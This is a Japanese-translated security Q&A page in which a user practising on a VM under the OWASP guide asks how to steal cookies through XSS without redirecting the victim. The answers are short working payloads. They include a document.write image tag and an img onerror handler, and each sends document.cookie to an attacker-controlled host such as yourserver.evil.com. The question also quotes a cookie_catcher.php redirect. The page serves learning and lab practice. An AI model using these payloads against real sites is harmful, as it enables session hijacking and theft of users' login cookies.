web-dev-qa-db-ja.com

別のページにリダイレクトせずにXSS Cookieを盗む

私はOWASPガイドに従ってVMで練習しています。 "False"ページなどにリダイレクトすることでCookieを盗むことは可能ですが、別のページにリダイレクトせずにCookieを盗みたいと思いますページ。

それで、もしあなたがいくつかのゲストブックを持っていて、あなたが置くなら:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

リダイレクトせずにこれを既存のページに挿入するにはどうすればよいですか?

基本的に、私が欲しいのは、誰かがリンクをクリックしてCookieを取得し、現在のページのどこかに印刷するときです。たぶんいくつかのaltタグか何かで。

何か案は?

22
Thomas

JavaScriptを完全に制御してページに書き込む場合、次のようにすることができます

document.write('cookie: ' + document.cookie)

別のサーバーに送信する場合は、存在しないイメージに含めることができます。

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

ここで重要なのは、任意のJavaScriptを出力できるかどうか、または実行できるJavaScriptの種類に制限があるかどうかです。ただし、出力できる内容が限られている場合は、カスタムコードを実行するためのより高度な方法を使用できますが、これは問題の範囲から少し外れています。

30
Steve

スティーブの答えに加えて、これを達成する多くの異なる方法があります。盗まれたCookieをユーザーに知らせないようにする場合は、<img>スティーブが提案した攻撃。非常に多くの文字を使用するため、私はdocument.writeを回避することを好みますが、

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
10
disk0nn3ct